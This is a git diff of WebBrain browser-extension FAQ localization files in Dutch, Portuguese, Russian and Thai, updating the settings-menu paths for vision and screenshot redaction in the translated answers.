+ "faq.screenshot_redaction.a_html": "<p>Nee — het vermindert de blootstelling, het is geen garantie. Wanneer ingeschakeld (<strong>Instellingen → Ondersteunende modellen → Visie → Screenshot-redactie</strong>, standaard uit), pixeleert WebBrain formulieren en tekst die lijkt op een e-mailadres of telefoonnummer op elke screenshot <em>voordat</em> deze naar een vision-model wordt gestuurd. Detectie draait volledig op uw apparaat via DOM-heuristieken; er wordt niets extra's verzonden.</p><p><strong>Het is een best-effort, fail-open aanpak.</strong> Als de detector niet kan draaien op een pagina — bijvoorbeeld direct na navigatie, op PDF-viewers, of op beperkte browserpagina's — wordt de screenshot nog steeds <em>onbewerkt</em> verzonden in plaats van uw taak te annuleren. Inhoud die de DOM-heuristieken niet kunnen zien (tekst op een canvas, PBI in afbeeldingen, ongebruikelijke widgets) kan ook doorglippen. En de instelling dekt alleen screenshots: pagina<em>tekst</em> die naar het model wordt gestuurd, wordt er niet door bewerkt.</p><p><strong>Voor volledige vision-privacy, gebruik een lokaal model.</strong> Met een offline provider zoals llama.cpp of Ollama verlaten screenshots en paginatekst uw machine nooit, dus er is niets om te bewerken — dat is de enige configuratie waarbij privacy gegarandeerd is. Zie \"Kan ik WebBrain volledig offline gebruiken?\" hierboven.</p><p><strong>Geen machine die een vision-capabel lokaal model kan draaien?</strong> Een goede middenweg is een klein lokaal model voor planning en tool-aanroepen (snel en licht genoeg voor een bescheiden CPU/GPU) gekoppeld aan een cloudprovider voor de vis子onderdelen, met Screenshot-redactie ingeschakeld. U behoudt uw gesprek en paginatekst op het apparaat, en elke screenshot die naar cloud-vision vertrekt heeft formulieren en gedetecteerde e-mails/telefoonnummers eerst vervaagd — verminderde cloudblootstelling zonder hardware voor een volledig lokaal vision-model. Configureer de vision-splitsing onder <strong>Instellingen → Ondersteunende modellen → Visie</strong> (zie \"Hoe houdt WebBrain cloud LLM-rekeningen onder controle?\" hierboven).</p>",
"faq.cookies_paywalls.q": "Wat doet WebBrain met cookie-banners en paywalls?",
"faq.cookies_paywalls.a_html": "<p><strong>Cookie-banners:</strong> WebBrain herkent toestemmingsbanners van veelgebruikte frameworks (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) en wuift ze weg voordat de pagina wordt geanalyseerd. Prioriteit gaat naar \"Allen weigeren\" / \"Niet-essentiëlen weigeren\" / \"Alleen noodzakelijk\" wanneer duidelijk zichtbaar; het kiest voor \"Allen accepteren\" in plaats van te verdwalen in het \"Voorkeuren beheren\"-doolhof.</p><p><strong>Paywalls:</strong> WebBrain meldt de paywall eerlijk en vertelt u wat het daadwerkelijk kon zien (kop, lead, eerste alinea's). Het probeert <strong>niet</strong> paywalls te omzeilen — geen archive.today, 12ft.io, cookie-wissen, JS uitschakelen of lezer-modustrucs. Als u het volledige artikel wilt, log in met een abonnement of vraag WebBrain om gratis berichtgeving over hetzelfde onderwerp te zoeken.</p>",
"faq.multilingual.q": "Ondersteunt WebBrain een dry-run modus?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "Hoe houdt WebBrain cloud LLM-rekeningen onder controle?",
- "faq.token_conscious.a_html": "<p>Drie onafhankelijke lagen:</p><p><strong>Token-bewuste screenshots.</strong> Voordat een afbeelding uw machine verlaat, resizeert WebBrain deze (korte kant begrensd, beeldverhouding behouden) en comprimeert iteratief JPEG totdat deze past binnen een per-beurt afbeeldingstoken-budget. Een 2000×1200 screenshot dat u ~1.500 invoertokens zou kosten op GPT-4o, wordt gecomprimeerd naar ~300–500 tokens zonder praktisch verlies voor paginaleestaken. Geïmplementeerd in <code>_fitImageDimensions</code> met unittesten voor de budgetberekening.</p><p><strong>Slimme contextbijsnijding.</strong> Gespreksgeschiedenis, tooluitvoer en inline DOM-dumps worden per beurt begrensd en van oudste naar nieuwste bijgesneden wanneer het contextvenster van het actieve model bijna vol is. U zult niet zien dat een sessie stilzwellig opzwelt van 10k naar 100k tokens doordat een <code>read_page</code> een artikel ter lengte van een roman retourneerde.</p><p><strong>Gewijd vision-model.</strong> Koppel een goedkoop tekstmodel (bijv. GPT-4o-mini) voor planning en tool-aanroepen aan een apart vision-capabel model (bijv. GPT-4o) alleen voor screenshots, zodat u niet het multimodale model-tarief betaalt bij elke beurt. Configureer onder <strong>Instellingen → Vision</strong>.</p><p>Nettoresultaat: lange sessies met cloudproviders blijven voorspelbaar. Voor volledige controle, gebruik llama.cpp lokaal — nul kosten per token.</p>",
+ "faq.token_conscious.a_html": "<p>Drie onafhankelijke lagen:</p><p><strong>Token-bewuste screenshots.</strong> Voordat een afbeelding uw machine verlaat, resizeert WebBrain deze (korte kant begrensd, beeldverhouding behouden) en comprimeert iteratief JPEG totdat deze past binnen een per-beurt afbeeldingstoken-budget. Een 2000×1200 screenshot dat u ~1.500 invoertokens zou kosten op GPT-4o, wordt gecomprimeerd naar ~300–500 tokens zonder praktisch verlies voor paginaleestaken. Geïmplementeerd in <code>_fitImageDimensions</code> met unittesten voor de budgetberekening.</p><p><strong>Slimme contextbijsnijding.</strong> Gespreksgeschiedenis, tooluitvoer en inline DOM-dumps worden per beurt begrensd en van oudste naar nieuwste bijgesneden wanneer het contextvenster van het actieve model bijna vol is. U zult niet zien dat een sessie stilzwellig opzwelt van 10k naar 100k tokens doordat een <code>read_page</code> een artikel ter lengte van een roman retourneerde.</p><p><strong>Gewijd vision-model.</strong> Koppel een goedkoop tekstmodel (bijv. GPT-4o-mini) voor planning en tool-aanroepen aan een apart vision-capabel model (bijv. GPT-4o) alleen voor screenshots, zodat u niet het multimodale model-tarief betaalt bij elke beurt. Configureer onder <strong>Instellingen → Ondersteunende modellen → Visie</strong>.</p><p>Nettoresultaat: lange sessies met cloudproviders blijven voorspelbaar. Voor volledige controle, gebruik llama.cpp lokaal — nul kosten per token.</p>",
"faq.contribute.q": "Kan ik bijdragen aan WebBrain?",
"faq.contribute.a_html": "Uiteraard! WebBrain heeft een GPL-3.0-or-later-licentie en verwelkomt bijdragen. Bekijk de <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub-repository</a> voor issues, functieverzoeken en bijdragerichtlijnen.",
"oss.title": "100% Open Source",
diff --git a/web/build/locales/pt.json b/web/build/locales/pt.json
index 49bf7a83e..c2b73baf1 100644
--- a/web/build/locales/pt.json
+++ b/web/build/locales/pt.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Como funciona o preenchimento automático do perfil e é seguro?",
"faq.profile.a_html": "<p>O preenchimento automático do perfil é um recurso opcional no <strong>Configurações → Perfil</strong>. Você insere uma breve biografia - nome, e-mail comercial, empresa e um <em>descartável</em> senha para inscrições de apostas baixas – e ative-a. Quando ativado, WebBrain anexa esse texto ao prompt do sistema do agente para que ele possa preencher formulários de inscrição sem perguntar sempre.</p><p>O texto é armazenado <strong>em texto simples</strong> no armazenamento local do seu navegador. É <strong>não</strong> transmitido para o projeto WebBrain, mas <strong>é</strong> enviado para qualquer provedor LLM que você configurou a cada turno, como parte do prompt do sistema. Desativado por padrão.</p><p><strong>Não coloque senhas para contas importantes</strong> (Google, Apple, iCloud, serviços bancários, SSO comercial, e-mail principal) aqui. Essas contas devem usar 2FA e, de qualquer maneira, não devem ser entregues a um agente. Uma senha descartável que você reutiliza para inscrições em boletins informativos e avaliações gratuitas é o caso de uso pretendido.</p>",
"faq.screenshot_redaction.q": "A configuração de redação de captura de tela garante que meus dados privados nunca cheguem a um modelo de visão em nuvem?",
- "faq.screenshot_redaction.a_html": "<p>Não – reduz a exposição, não é uma garantia. Quando ativado (<strong>Configurações → Multimodal → Redação de captura de tela</strong>, desativado por padrão), WebBrain pixeliza campos de formulário e texto que se parece com um endereço de e-mail ou número de telefone em cada captura de tela <em>antes</em> ele é enviado para um modelo de visão. A detecção é executada inteiramente no seu dispositivo usando heurística DOM; nada extra é transmitido.</p><p><strong>É o melhor esforço e a falha aberta.</strong> Se o detector não puder ser executado em uma página — por exemplo, imediatamente após uma navegação, em visualizadores de PDF ou em páginas restritas do navegador — a captura de tela ainda será enviada <em>não editado</em> em vez de abortar sua tarefa. O conteúdo que a heurística do DOM não consegue ver (texto desenhado em uma tela, PII dentro de imagens, widgets incomuns) também pode escapar. E a configuração cobre apenas capturas de tela: página <em>texto</em> enviado ao modelo não é editado por ele.</p><p><strong>Para total privacidade visual, use um modelo local.</strong> Com um provedor off-line como llama.cpp ou Ollama, as capturas de tela e o texto da página nunca saem da sua máquina, portanto, em primeiro lugar, não há nada para editar — essa é a única configuração em que a privacidade é garantida. Consulte \"Posso usar WebBrain totalmente offline?\" acima.</p><p><strong>Não tem uma máquina que possa executar um modelo local com capacidade de visão?</strong> Um bom meio-termo é um pequeno modelo local para planejamento e chamadas de ferramentas (rápido e leve o suficiente para uma CPU/GPU modesta) emparelhado com um provedor de nuvem para as subchamadas de visão, com a edição de captura de tela ativada. Você ainda mantém sua conversa e o texto da página no dispositivo, e cada captura de tela que sai para a visão na nuvem tem campos de formulário e e-mails/telefones detectados desfocados primeiro – exposição reduzida à nuvem sem a necessidade de hardware para um modelo de visão local completo. Configure a divisão de visão em <strong>Configurações → Visão</strong> (consulte \"Como o WebBrain mantém as contas do Cloud LLM sob controle?\" acima).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Não – reduz a exposição, não é uma garantia. Quando ativado (<strong>Configurações → Modelos auxiliares → Visão → Redação de captura de tela</strong>, desativado por padrão), WebBrain pixeliza campos de formulário e texto que se parece com um endereço de e-mail ou número de telefone em cada captura de tela <em>antes</em> ele é enviado para um modelo de visão. A detecção é executada inteiramente no seu dispositivo usando heurística DOM; nada extra é transmitido.</p><p><strong>É o melhor esforço e a falha aberta.</strong> Se o detector não puder ser executado em uma página — por exemplo, imediatamente após uma navegação, em visualizadores de PDF ou em páginas restritas do navegador — a captura de tela ainda será enviada <em>não editado</em> em vez de abortar sua tarefa. O conteúdo que a heurística do DOM não consegue ver (texto desenhado em uma tela, PII dentro de imagens, widgets incomuns) também pode escapar. E a configuração cobre apenas capturas de tela: página <em>texto</em> enviado ao modelo não é editado por ele.</p><p><strong>Para total privacidade visual, use um modelo local.</strong> Com um provedor off-line como llama.cpp ou Ollama, as capturas de tela e o texto da página nunca saem da sua máquina, portanto, em primeiro lugar, não há nada para editar — essa é a única configuração em que a privacidade é garantida. Consulte \"Posso usar WebBrain totalmente offline?\" acima.</p><p><strong>Não tem uma máquina que possa executar um modelo local com capacidade de visão?</strong> Um bom meio-termo é um pequeno modelo local para planejamento e chamadas de ferramentas (rápido e leve o suficiente para uma CPU/GPU modesta) emparelhado com um provedor de nuvem para as subchamadas de visão, com a edição de captura de tela ativada. Você ainda mantém sua conversa e o texto da página no dispositivo, e cada captura de tela que sai para a visão na nuvem tem campos de formulário e e-mails/telefones detectados desfocados primeiro – exposição reduzida à nuvem sem a necessidade de hardware para um modelo de visão local completo. Configure a divisão de visão em <strong>Configurações → Modelos auxiliares → Visão</strong> (consulte \"Como o WebBrain mantém as contas do Cloud LLM sob controle?\" acima).</p>",
"faq.cookies_paywalls.q": "O que WebBrain faz com banners de cookies e acesso pago?",
"faq.cookies_paywalls.a_html": "<p><strong>Banners de cookies:</strong> WebBrain reconhece banners de consentimento de estruturas comuns (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) e os descarta antes de raciocinar sobre a página. A prioridade é “Rejeitar tudo” / “Rejeitar não essencial” / “Apenas necessário” quando claramente visível; ele volta para \"Aceitar tudo\" em vez de desaparecer no labirinto \"Gerenciar preferências\".</p><p><strong>Acessos pagos:</strong> WebBrain relata o acesso pago honestamente e informa o que ele realmente pode ver (título, descrição, primeiros parágrafos). Isso acontece <strong>não</strong> tentativa de contornar paywalls – sem archive.today, 12ft.io, limpeza de cookies, desabilitação de JS ou truques de modo leitor. Se você quiser o artigo completo, faça login com uma assinatura ou peça ao WebBrain para procurar cobertura gratuita da mesma história.</p>",
"faq.multilingual.q": "O WebBrain oferece suporte ao modo de simulação?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "Como WebBrain mantém as contas do Cloud LLM sob controle?",
- "faq.token_conscious.a_html": "<p>Três camadas independentes:</p><p><strong>Capturas de tela com reconhecimento de token.</strong> Antes de qualquer imagem sair de sua máquina, WebBrain a redimensiona (lado mais curto, preservando a proporção de aspecto) e a compacta iterativamente em JPEG até que ela caiba no orçamento de token de imagem por turno. Uma captura de tela de 2.000 × 1.200 que custaria cerca de 1.500 tokens de entrada no GPT-4o é compactada para cerca de 300-500 tokens sem perda prática para tarefas de leitura de página. Implementado em <code>_fitImageDimensions</code> com testes unitários para a matemática do orçamento.</p><p><strong>Corte de contexto inteligente.</strong> O histórico de conversas, as saídas de ferramentas e os dumps DOM embutidos são limitados por turno e cortados mais antigos primeiro quando a janela de contexto do modelo ativo está quase cheia. Você não verá uma corrida silenciosa aumentar de 10 mil tokens para 100 mil porque um <code>read_page</code> retornou um artigo do tamanho de um romance.</p><p><strong>Modelo de visão dedicado.</strong> Combine um modelo de texto barato (por exemplo, GPT-4o-mini) para planejamento e chamadas de ferramentas com um modelo separado com capacidade de visão (por exemplo, GPT-4o) apenas para capturas de tela, para que você não pague preços de modelos multimodais em cada curva. Configurar em <strong>Configurações → Visão</strong>.</p><p>Resultado líquido: longas sessões com provedores de nuvem permanecem previsíveis. Para controle total, use llama.cpp localmente – custo zero por token.</p>",
+ "faq.token_conscious.a_html": "<p>Três camadas independentes:</p><p><strong>Capturas de tela com reconhecimento de token.</strong> Antes de qualquer imagem sair de sua máquina, WebBrain a redimensiona (lado mais curto, preservando a proporção de aspecto) e a compacta iterativamente em JPEG até que ela caiba no orçamento de token de imagem por turno. Uma captura de tela de 2.000 × 1.200 que custaria cerca de 1.500 tokens de entrada no GPT-4o é compactada para cerca de 300-500 tokens sem perda prática para tarefas de leitura de página. Implementado em <code>_fitImageDimensions</code> com testes unitários para a matemática do orçamento.</p><p><strong>Corte de contexto inteligente.</strong> O histórico de conversas, as saídas de ferramentas e os dumps DOM embutidos são limitados por turno e cortados mais antigos primeiro quando a janela de contexto do modelo ativo está quase cheia. Você não verá uma corrida silenciosa aumentar de 10 mil tokens para 100 mil porque um <code>read_page</code> retornou um artigo do tamanho de um romance.</p><p><strong>Modelo de visão dedicado.</strong> Combine um modelo de texto barato (por exemplo, GPT-4o-mini) para planejamento e chamadas de ferramentas com um modelo separado com capacidade de visão (por exemplo, GPT-4o) apenas para capturas de tela, para que você não pague preços de modelos multimodais em cada curva. Configurar em <strong>Configurações → Modelos auxiliares → Visão</strong>.</p><p>Resultado líquido: longas sessões com provedores de nuvem permanecem previsíveis. Para controle total, use llama.cpp localmente – custo zero por token.</p>",
"faq.contribute.q": "Posso contribuir para WebBrain?",
"faq.contribute.a_html": "Absolutamente! WebBrain é licenciado pelo GPL-3.0-or-later e aceita contribuições. Confira o <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">Repositório GitHub</a> para problemas, solicitações de recursos e diretrizes de contribuição.",
"oss.title": "100% código aberto",
diff --git a/web/build/locales/ru.json b/web/build/locales/ru.json
index 28e1604f4..f787e89b5 100644
--- a/web/build/locales/ru.json
+++ b/web/build/locales/ru.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Как работает автозаполнение профиля и безопасно ли это?",
"faq.profile.a_html": "<p>Автозаполнение профиля — опциональная функция в <strong>Настройки → Профиль</strong>. Вы пишете короткое био — имя, рабочий email, компанию и <em>одноразовый</em> пароль для малозначимых регистраций — и включаете её. Когда она активна, WebBrain добавляет этот текст в системный prompt агента, чтобы тот заполнял формы регистрации, не спрашивая каждый раз.</p><p>Текст хранится <strong>в открытом виде</strong> в локальном хранилище браузера. Он <strong>не</strong> отправляется в проект WebBrain, но <strong>отправляется</strong> тому LLM-провайдеру, которого вы настроили, на каждом ходу как часть системного prompt. По умолчанию выключено.</p><p><strong>Не вводите сюда пароли важных аккаунтов</strong> (Google, Apple, iCloud, банк, корпоративный SSO, основная почта). Эти аккаунты должны быть с 2FA, и их в любом случае не стоит отдавать агенту. Одноразовый пароль, который вы переиспользуете для подписки на рассылки и бесплатные триалы, — то самое.</p>",
"faq.screenshot_redaction.q": "Гарантирует ли настройка редактирования скриншотов, что мои личные данные никогда не попадут в облачную модель зрения?",
- "faq.screenshot_redaction.a_html": "<p>Нет — она снижает риск, но не является гарантией. При включении (<strong>Настройки → Мультимодальность → Редактирование скриншотов</strong>, по умолчанию выключено) WebBrain пикселизирует поля форм и текст, похожий на email или номер телефона, на каждом скриншоте <em>перед</em> отправкой модели зрения. Обнаружение выполняется полностью на вашем устройстве с помощью эвристик DOM; ничего лишнего не передаётся.</p><p><strong>Это работа по принципу «максимум усилий» и fail-open.</strong> Если детектор не может сработать на странице — например, сразу после перехода, в просмотрщиках PDF или на ограниченных страницах браузера, — скриншот всё равно отправляется <em>неотредактированным</em>, вместо того чтобы прервать вашу задачу. Контент, который эвристики DOM не видят (текст, нарисованный на canvas, персональные данные внутри изображений, необычные виджеты), тоже может проскользнуть. И настройка касается только скриншотов: <em>текст</em> страницы, отправляемый модели, ею не редактируется.</p><p><strong>Для полной приватности зрения используйте локальную модель.</strong> С офлайн-провайдером вроде llama.cpp или Ollama скриншоты и текст страницы никогда не покидают ваше устройство, так что редактировать попросту нечего — это единственная конфигурация, где приватность гарантирована. См. «Можно ли пользоваться WebBrain полностью офлайн?» выше.</p><p><strong>Нет мощного устройства для локальной модели с поддержкой зрения?</strong> Хороший компромисс — использовать небольшую локальную модель для планирования и вызова инструментов (достаточно лёгкую для скромного CPU/GPU) в паре с облачным провайдером для подзапросов зрения, включив при этом редактирование скриншотов. Ваш разговор и текст страницы остаются на устройстве, а каждый скриншот, уходящий в облачное зрение, уже имеет размытые поля форм и обнаруженные email/телефоны — меньше риска в облаке без необходимости в железе для полноценной локальной модели зрения. Настройте это разделение в <strong>Настройки → Зрение</strong> (см. «Как WebBrain держит счета за облачные LLM под контролем?» выше).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Нет — она снижает риск, но не является гарантией. При включении (<strong>Настройки → Вспомогательные модели → Зрение → Редактирование скриншотов</strong>, по умолчанию выключено) WebBrain пикселизирует поля форм и текст, похожий на email или номер телефона, на каждом скриншоте <em>перед</em> отправкой модели зрения. Обнаружение выполняется полностью на вашем устройстве с помощью эвристик DOM; ничего лишнего не передаётся.</p><p><strong>Это работа по принципу «максимум усилий» и fail-open.</strong> Если детектор не может сработать на странице — например, сразу после перехода, в просмотрщиках PDF или на ограниченных страницах браузера, — скриншот всё равно отправляется <em>неотредактированным</em>, вместо того чтобы прервать вашу задачу. Контент, который эвристики DOM не видят (текст, нарисованный на canvas, персональные данные внутри изображений, необычные виджеты), тоже может проскользнуть. И настройка касается только скриншотов: <em>текст</em> страницы, отправляемый модели, ею не редактируется.</p><p><strong>Для полной приватности зрения используйте локальную модель.</strong> С офлайн-провайдером вроде llama.cpp или Ollama скриншоты и текст страницы никогда не покидают ваше устройство, так что редактировать попросту нечего — это единственная конфигурация, где приватность гарантирована. См. «Можно ли пользоваться WebBrain полностью офлайн?» выше.</p><p><strong>Нет мощного устройства для локальной модели с поддержкой зрения?</strong> Хороший компромисс — использовать небольшую локальную модель для планирования и вызова инструментов (достаточно лёгкую для скромного CPU/GPU) в паре с облачным провайдером для подзапросов зрения, включив при этом редактирование скриншотов. Ваш разговор и текст страницы остаются на устройстве, а каждый скриншот, уходящий в облачное зрение, уже имеет размытые поля форм и обнаруженные email/телефоны — меньше риска в облаке без необходимости в железе для полноценной локальной модели зрения. Настройте это разделение в <strong>Настройки → Вспомогательные модели → Зрение</strong> (см. «Как WebBrain держит счета за облачные LLM под контролем?» выше).</p>",
"faq.cookies_paywalls.q": "Что WebBrain делает с cookie-баннерами и paywall'ами?",
"faq.cookies_paywalls.a_html": "<p><strong>Cookie-баннеры:</strong> WebBrain распознаёт баннеры согласия популярных фреймворков (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) и закрывает их до того, как начинать рассуждать о странице. Приоритет — «Отклонить всё» / «Отклонить необязательные» / «Только необходимые», если они видны; иначе соглашается на «Принять всё», вместо того чтобы тонуть в лабиринте «Управление настройками».</p><p><strong>Paywall:</strong> WebBrain честно сообщает о paywall'е и рассказывает, что реально смог увидеть (заголовок, подзаголовок, первые абзацы). Он <strong>не</strong> пытается обойти paywall — никаких archive.today, 12ft.io, чистки cookie, отключения JS или фокусов с reader-mode. Если нужна вся статья — войдите по подписке или попросите WebBrain поискать бесплатное освещение той же истории.</p>",
"faq.multilingual.q": "Поддерживает ли WebBrain режим dry-run?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "Как WebBrain держит счета за облачные LLM под контролем?",
- "faq.token_conscious.a_html": "<p>Три независимых слоя:</p><p><strong>Скриншоты с заботой о токенах.</strong> Прежде чем любое изображение покинет вашу машину, WebBrain уменьшает его (короткая сторона ограничена, пропорции сохраняются) и итеративно сжимает в JPEG до тех пор, пока оно не уложится в бюджет image-токенов на ход. Скриншот 2000×1200, который на GPT-4o обошёлся бы примерно в 1500 входных токенов, сжимается до ~300–500 токенов без реальной потери для задач чтения страниц. Реализовано в <code>_fitImageDimensions</code>, есть юнит-тесты на расчёт бюджета.</p><p><strong>Умное подрезание контекста.</strong> История диалога, выводы инструментов и встроенные дампы DOM ограничены на ход и подрезаются от старого к новому, когда контекстное окно активной модели приближается к заполнению. Вы не увидите, как сессия тихо распухает с 10k токенов до 100k из-за того, что <code>read_page</code> вернул статью размером с роман.</p><p><strong>Отдельная vision-модель.</strong> Пара: дешёвая текстовая модель (например, GPT-4o-mini) для планирования и tool-вызовов плюс отдельная vision-модель (например, GPT-4o) только для скриншотов — и вы не платите цену мультимодальной модели на каждом ходу. Настраивается в <strong>Настройки → Зрение</strong>.</p><p>В итоге: длинные сессии с облачными провайдерами остаются предсказуемыми. Для полного контроля — поднимайте llama.cpp локально, цена за токен нулевая.</p>",
+ "faq.token_conscious.a_html": "<p>Три независимых слоя:</p><p><strong>Скриншоты с заботой о токенах.</strong> Прежде чем любое изображение покинет вашу машину, WebBrain уменьшает его (короткая сторона ограничена, пропорции сохраняются) и итеративно сжимает в JPEG до тех пор, пока оно не уложится в бюджет image-токенов на ход. Скриншот 2000×1200, который на GPT-4o обошёлся бы примерно в 1500 входных токенов, сжимается до ~300–500 токенов без реальной потери для задач чтения страниц. Реализовано в <code>_fitImageDimensions</code>, есть юнит-тесты на расчёт бюджета.</p><p><strong>Умное подрезание контекста.</strong> История диалога, выводы инструментов и встроенные дампы DOM ограничены на ход и подрезаются от старого к новому, когда контекстное окно активной модели приближается к заполнению. Вы не увидите, как сессия тихо распухает с 10k токенов до 100k из-за того, что <code>read_page</code> вернул статью размером с роман.</p><p><strong>Отдельная vision-модель.</strong> Пара: дешёвая текстовая модель (например, GPT-4o-mini) для планирования и tool-вызовов плюс отдельная vision-модель (например, GPT-4o) только для скриншотов — и вы не платите цену мультимодальной модели на каждом ходу. Настраивается в <strong>Настройки → Вспомогательные модели → Зрение</strong>.</p><p>В итоге: длинные сессии с облачными провайдерами остаются предсказуемыми. Для полного контроля — поднимайте llama.cpp локально, цена за токен нулевая.</p>",
"faq.contribute.q": "Могу ли я внести свой вклад в WebBrain?",
"faq.contribute.a_html": "Конечно! WebBrain под лицензией GPL-3.0-or-later и приветствует контрибьюции. Загляните в <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">репозиторий на GitHub</a> — там issue, фича-реквесты и правила контрибьюции.",
"oss.title": "100% open-source",
diff --git a/web/build/locales/th.json b/web/build/locales/th.json
index 826e9691e..bd96099be 100644
--- a/web/build/locales/th.json
+++ b/web/build/locales/th.json
@@ -304,7 +304,7 @@
"faq.profile.q": "การกรอกโปรไฟล์อัตโนมัติทำงานอย่างไร และปลอดภัยไหม?",
"faq.profile.a_html": "<p>การกรอกโปรไฟล์อัตโนมัติเป็นคุณสมบัติเลือกได้ใน <strong>การตั้งค่า → โปรไฟล์</strong> คุณกรอกประวัติย่อ — ชื่อ อีเมลที่ทำงาน บริษัท และรหัสผ่าน <em>ใช้แล้วทิ้ง</em> สำหรับการสมัครเสี่ยงต่ำ — แล้วเปิดใช้งาน เมื่อเปิดใช้ WebBrain จะเพิ่มข้อความนั้นต่อท้าย system prompt ของเอเจนต์ เพื่อให้มันกรอกฟอร์มสมัครได้โดยไม่ต้องถามทุกครั้ง</p><p>ข้อความถูกเก็บ <strong>เป็นข้อความธรรมดา</strong> ใน local storage ของเบราว์เซอร์ มัน <strong>จะไม่</strong> ถูกส่งไปยังโปรเจกต์ WebBrain แต่ <strong>จะถูกส่ง</strong> ไปยังผู้ให้บริการ LLM ที่คุณตั้งค่าไว้ในทุกเทิร์น ในฐานะส่วนหนึ่งของ system prompt ปิดเป็นค่าเริ่มต้น</p><p><strong>อย่าใส่รหัสผ่านของบัญชีสำคัญ</strong> ที่นี่ (Google, Apple, iCloud, ธนาคาร, SSO ที่ทำงาน, อีเมลหลัก) บัญชีเหล่านั้นควรใช้ 2FA และไม่ควรมอบให้เอเจนต์อยู่แล้ว กรณีใช้งานที่ตั้งใจคือรหัสผ่านใช้แล้วทิ้งที่คุณใช้ซ้ำสำหรับการสมัครจดหมายข่าวและการทดลองใช้ฟรี</p>",
"faq.screenshot_redaction.q": "การตั้งค่าเบลอภาพหน้าจอรับประกันหรือไม่ว่าข้อมูลส่วนตัวของฉันจะไม่มีวันไปถึงโมเดลวิชั่นบนคลาวด์?",
- "faq.screenshot_redaction.a_html": "<p>ไม่ — มันช่วยลดความเสี่ยง ไม่ใช่การรับประกัน เมื่อเปิดใช้งาน (<strong>การตั้งค่า → มัลติโมดัล → การเบลอภาพหน้าจอ</strong> ปิดอยู่โดยค่าเริ่มต้น) WebBrain จะเบลอช่องฟอร์มและข้อความที่ดูเหมือนอีเมลหรือหมายเลขโทรศัพท์บนภาพหน้าจอทุกภาพ <em>ก่อน</em> ที่จะส่งไปยังโมเดลวิชั่น การตรวจจับทำงานทั้งหมดบนอุปกรณ์ของคุณโดยใช้หลักการ DOM heuristics ไม่มีการส่งข้อมูลเพิ่มเติมใดๆ</p><p><strong>ฟีเจอร์นี้เป็นแบบ best-effort และ fail-open</strong> หากตัวตรวจจับไม่สามารถทำงานบนหน้าใดหน้าหนึ่งได้ — เช่น ทันทีหลังการนำทาง ในตัวแสดง PDF หรือบนหน้าเบราว์เซอร์ที่ถูกจำกัด — ภาพหน้าจอจะยังคงถูกส่งไปโดย<em>ไม่ถูกเบลอ</em> แทนที่จะยกเลิกงานของคุณ เนื้อหาที่หลักการ DOM heuristics มองไม่เห็น (ข้อความที่วาดบน canvas ข้อมูลส่วนบุคคลในรูปภาพ วิดเจ็ตที่ไม่ปกติ) ก็อาจหลุดรอดได้เช่นกัน และการตั้งค่านี้ครอบคลุมเฉพาะภาพหน้าจอเท่านั้น ข้อความในหน้าเว็บที่ส่งไปยังโมเดลจะไม่ถูกเบลอโดยการตั้งค่านี้</p><p><strong>หากต้องการความเป็นส่วนตัวด้านวิชั่นอย่างเต็มที่ ให้ใช้โมเดลภายในเครื่อง</strong> เมื่อใช้ผู้ให้บริการแบบออฟไลน์ เช่น llama.cpp หรือ Ollama ภาพหน้าจอและข้อความในหน้าเว็บจะไม่ออกจากเครื่องของคุณเลย จึงไม่มีอะไรต้องเบลอตั้งแต่แรก — นี่คือการตั้งค่าเดียวที่รับประกันความเป็นส่วนตัวได้จริง ดู \"ใช้ WebBrain แบบออฟไลน์ทั้งหมดได้ไหม?\" ด้านบน</p><p><strong>ไม่มีเครื่องที่แรงพอจะรันโมเดลภายในเครื่องแบบรองรับวิชั่น?</strong> ทางเลือกที่ดีคือใช้โมเดลภายในเครื่องขนาดเล็กสำหรับการวางแผนและเรียกใช้เครื่องมือ (เบาพอสำหรับ CPU/GPU ทั่วไป) ควบคู่กับผู้ให้บริการคลาวด์สำหรับการเรียกใช้วิชั่นย่อย พร้อมเปิดการเบลอภาพหน้าจอไว้ 